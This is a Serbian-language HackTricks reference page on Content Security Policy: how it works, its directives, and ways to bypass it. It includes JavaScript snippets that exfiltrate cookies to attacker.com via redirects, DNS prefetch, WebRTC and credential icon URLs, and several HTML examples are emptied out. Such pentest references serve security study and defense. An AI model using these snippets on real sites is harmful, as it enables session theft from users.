# Content Security Policy (CSP) Bypass {{#include ../../banners/hacktricks-training.md}} ## Šta je CSP Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što su cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`. Implementacija CSP se vrši putem **odgovarajućih zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu. - Implementirano putem odgovarajućeg zaglavlja: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` - Implementirano putem meta taga: ```xml ``` ### Headers CSP se može primeniti ili pratiti koristeći ove heder-e: - `Content-Security-Policy`: Primorava CSP; pregledač blokira sve prekršaje. - `Content-Security-Policy-Report-Only`: Koristi se za praćenje; izveštava o prekršajima bez blokiranja. Idealno za testiranje u pre-produkcijskim okruženjima. ### Defining Resources CSP ograničava porekla za učitavanje aktivnog i pasivnog sadržaja, kontrolišući aspekte kao što su izvršavanje inline JavaScript-a i korišćenje `eval()`. Primer politike je: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Direktive - **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događaja ili XSLT stilovi. - **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada su specifične direktive za preuzimanje odsutne. - **child-src**: Precizira dozvoljene resurse za web radnike i sadržaje u ugnježdenim okvirima. - **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest. - **frame-src**: Ograničava URL-ove za okvire. - **frame-ancestors**: Precizira koji izvori mogu ugraditi trenutnu stranicu, primenljivo na elemente kao što su ``, ` // The bot will load an URL with the payload ``` ### Via Bookmarklets Ovaj napad bi podrazumevao neku vrstu socijalnog inženjeringa gde napadač **uverava korisnika da prevuče i ispusti link preko bookmarkleta pregledača**. Ovaj bookmarklet bi sadržao **malicious javascript** kod koji bi, kada se prevuče ili klikne, bio izvršen u kontekstu trenutnog web prozora, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su kolačići ili tokeni. Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### CSP bypass by restricting CSP U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**. Možete **ograničiti CSP iframe-a** sa **`csp`** atributom: ```html ``` U [**ovoj CTF analizi**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML injekcije** da se **ograniči** više **CSP** tako da je skripta koja sprečava CSTI onemogućena i stoga je **ranjivost postala iskoristiva.**\ CSP se može učiniti restriktivnijim korišćenjem **HTML meta tagova** i inline skripte mogu onemogućiti **uklanjanje** **unosa** koji omogućava njihov **nonce** i **omogućiti specifičnu inline skriptu putem sha**: ```html ``` ### JS exfiltracija sa Content-Security-Policy-Report-Only Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću koju kontrolišete** (možda zbog CRLF), mogli biste da ga usmerite na vaš server i ako **obavijete** **JS sadržaj** koji želite da eksfiltrirate sa **`` napominjemo da će ovaj **script** biti **učitan** jer je **dozvoljen od 'self'**. Pored toga, i zato što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** kroz **ranjivu** **callback** tačku pristupa koja **zaobilazi CSP** da bi dala više privilegija korisniku, instalirao novi dodatak...\ Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses Ako postoji stroga CSP koja vam ne dozvoljava da **interagujete sa spoljnim serverima**, postoji nekoliko stvari koje uvek možete uraditi da izvučete informacije. ### Location Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije na server napadača: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag Možete preusmeriti injektovanjem meta taga (ovo je samo preusmeravanje, ovo neće otkriti sadržaj) ```html ``` ### DNS Prefetch Da bi učitali stranice brže, pregledači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.\ Možete naterati pregledač da unapred reši ime hosta sa: `` Možete zloupotrebiti ovo ponašanje da **izvršite exfiltraciju osetljivih informacija putem DNS zahteva**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] body.innerHTML = body.innerHTML + '' ``` Još jedan način: ```javascript const linkEl = document.createElement("link") linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` Da bi se izbeglo da se ovo desi, server može poslati HTTP zaglavlje: ``` X-DNS-Prefetch-Control: off ``` > [!TIP] > Očigledno, ova tehnika ne funkcioniše u headless pretraživačima (botovima) ### WebRTC Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a. U stvari, možete _leak_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })() ``` Još jedna opcija: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer Popup za kredencijale šalje DNS zahtev ka iconURL bez ograničenja od strane stranice. Radi samo u sigurnom kontekstu (HTTPS) ili na localhost-u. ```javascript navigator.credentials.store( new FederatedCredential({ id:"satoki", name:"satoki", provider:"https:"+your_data+"example.com", iconURL:"https:"+your_data+"example.com" }) ) ``` ## Provera CSP politika online - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Automatsko kreiranje CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## Reference - [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) - [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) - [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) - [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) ​ {{#include ../../banners/hacktricks-training.md}}